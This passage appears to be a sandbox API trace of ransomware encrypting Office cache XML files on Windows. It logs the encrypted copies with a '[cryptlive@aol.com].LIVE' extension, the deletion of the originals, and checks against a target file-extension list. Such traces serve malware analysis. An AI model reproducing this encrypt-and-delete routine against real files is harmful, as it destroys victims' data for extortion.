lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1349) returned 1 [0039.008] CloseHandle (hObject=0x174) returned 1 [0039.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0039.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0039.008] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.008] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0039.009] GetLastError () returned 0x0 [0039.009] ReadFile (in: hFile=0x174, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x545, lpOverlapped=0x0) returned 1 [0039.011] WriteFile (in: hFile=0x198, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0039.012] ReadFile (in: hFile=0x174, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.012] WriteFile (in: hFile=0x198, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0039.012] SetEndOfFile (hFile=0x198) returned 1 [0039.012] CloseHandle (hObject=0x198) returned 1 [0039.013] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.013] SetEndOfFile (hFile=0x174) returned 1 [0039.014] CloseHandle (hObject=0x174) returned 1 [0039.014] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.015] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0039.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.015] lstrlenW (lpString=".doc") returned 4 [0039.015] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.015] lstrlenW (lpString=".docx") returned 5 [0039.015] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.015] lstrlenW (lpString=".pdf") returned 4 [0039.015] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.015] lstrlenW (lpString=".xls") returned 4 [0039.015] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.015] lstrlenW (lpString=".xlsx") returned 5 [0039.015] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.016] lstrlenW (lpString=".ppt") returned 4 [0039.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.016] lstrlenW (lpString=".zip") returned 4 [0039.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.016] lstrlenW (lpString=".rar") returned 4 [0039.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString=".bz2") returned 4 [0039.016] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString=".7z") returned 3 [0039.016] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.016] lstrlenW (lpString=".dbf") returned 4 [0039.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.016] lstrlenW (lpString=".1cd") returned 4 [0039.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.016] lstrlenW (lpString=".jpg") returned 4 [0039.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.016] lstrlenW (lpString=".doc") returned 4 [0039.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.016] lstrlenW (lpString=".docx") returned 5 [0039.016] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.016] lstrlenW (lpString=".pdf") returned 4 [0039.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString=".xls") returned 4 [0039.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString=".xlsx") returned 5 [0039.017] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.017] lstrlenW (lpString=".ppt") returned 4 [0039.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.017] lstrlenW (lpString=".zip") returned 4 [0039.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.017] lstrlenW (lpString=".rar") returned 4 [0039.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString=".bz2") returned 4 [0039.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString=".7z") returned 3 [0039.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.017] lstrlenW (lpString=".dbf") returned 4 [0039.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.017] lstrlenW (lpString=".1cd") returned 4 [0039.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0039.017] lstrlenW (lpString=".jpg") returned 4 [0039.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.018] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.018] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0039.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0039.018] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=819) returned 1 [0039.018] CloseHandle (hObject=0x174) returned 1 [0039.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0039.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0039.019] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.019] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0039.019] GetLastError () returned 0x0 [0039.019] ReadFile (in: hFile=0x174, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x333, lpOverlapped=0x0) returned 1 [0039.280] WriteFile (in: hFile=0x198, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x340, lpOverlapped=0x0) returned 1 [0039.281] ReadFile (in: hFile=0x174, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.281] WriteFile (in: hFile=0x198, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0039.281] SetEndOfFile (hFile=0x198) returned 1 [0039.281] CloseHandle (hObject=0x198) returned 1 [0039.283] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.283] SetEndOfFile (hFile=0x174) returned 1 [0039.284] CloseHandle (hObject=0x174) returned 1 [0039.285] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.368] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0039.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.368] lstrlenW (lpString=".doc") returned 4 [0039.368] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.368] lstrlenW (lpString=".docx") returned 5 [0039.368] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0039.368] lstrlenW (lpString=".pdf") returned 4 [0039.368] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.368] lstrlenW (lpString=".xls") returned 4 [0039.368] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.368] lstrlenW (lpString=".xlsx") returned 5 [0039.368] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0039.368] lstrlenW (lpString=".ppt") returned 4 [0039.368] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.368] lstrlenW (lpString=".zip") returned 4 [0039.368] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.368] lstrlenW (lpString=".rar") returned 4 [0039.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString=".bz2") returned 4 [0039.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString=".7z") returned 3 [0039.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.369] lstrlenW (lpString=".dbf") returned 4 [0039.369] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.369] lstrlenW (lpString=".1cd") returned 4 [0039.369] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.369] lstrlenW (lpString=".jpg") returned 4 [0039.369] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.369] lstrlenW (lpString=".doc") returned 4 [0039.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString=".docx") returned 5 [0039.369] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0039.369] lstrlenW (lpString=".pdf") returned 4 [0039.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString=".xls") returned 4 [0039.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.369] lstrlenW (lpString=".xlsx") returned 5 [0039.369] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0039.369] lstrlenW (lpString=".ppt") returned 4 [0039.370] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.370] lstrlenW (lpString=".zip") returned 4 [0039.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.370] lstrlenW (lpString=".rar") returned 4 [0039.370] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.370] lstrlenW (lpString=".bz2") returned 4 [0039.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.370] lstrlenW (lpString=".7z") returned 3 [0039.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.370] lstrlenW (lpString=".dbf") returned 4 [0039.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.370] lstrlenW (lpString=".1cd") returned 4 [0039.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0039.370] lstrlenW (lpString=".jpg") returned 4 [0039.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.370] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.370] lstrlenW (lpString="Setup.xml") returned 9 [0039.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.813] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=31094) returned 1 [0040.813] CloseHandle (hObject=0x1b0) returned 1 [0040.813] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.813] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.813] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.813] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.814] GetLastError () returned 0x0 [0040.814] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x7976, lpOverlapped=0x0) returned 1 [0040.816] WriteFile (in: hFile=0x1a8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0040.818] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.818] WriteFile (in: hFile=0x1a8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.818] SetEndOfFile (hFile=0x1a8) returned 1 [0040.819] CloseHandle (hObject=0x1a8) returned 1 [0040.820] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.820] SetEndOfFile (hFile=0x1b0) returned 1 [0040.821] CloseHandle (hObject=0x1b0) returned 1 [0040.821] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.821] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.822] lstrlenW (lpString=".doc") returned 4 [0040.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.822] lstrlenW (lpString=".docx") returned 5 [0040.823] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.823] lstrlenW (lpString=".pdf") returned 4 [0040.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString=".xls") returned 4 [0040.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString=".xlsx") returned 5 [0040.823] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.823] lstrlenW (lpString=".ppt") returned 4 [0040.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.823] lstrlenW (lpString=".zip") returned 4 [0040.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.823] lstrlenW (lpString=".rar") returned 4 [0040.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString=".bz2") returned 4 [0040.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString=".7z") returned 3 [0040.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.823] lstrlenW (lpString=".dbf") returned 4 [0040.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.823] lstrlenW (lpString=".1cd") returned 4 [0040.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.823] lstrlenW (lpString=".jpg") returned 4 [0040.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.823] lstrlenW (lpString=".doc") returned 4 [0040.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString=".docx") returned 5 [0040.824] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.824] lstrlenW (lpString=".pdf") returned 4 [0040.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString=".xls") returned 4 [0040.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString=".xlsx") returned 5 [0040.824] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.824] lstrlenW (lpString=".ppt") returned 4 [0040.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.824] lstrlenW (lpString=".zip") returned 4 [0040.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.824] lstrlenW (lpString=".rar") returned 4 [0040.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString=".bz2") returned 4 [0040.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString=".7z") returned 3 [0040.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.824] lstrlenW (lpString=".dbf") returned 4 [0040.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.824] lstrlenW (lpString=".1cd") returned 4 [0040.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.824] 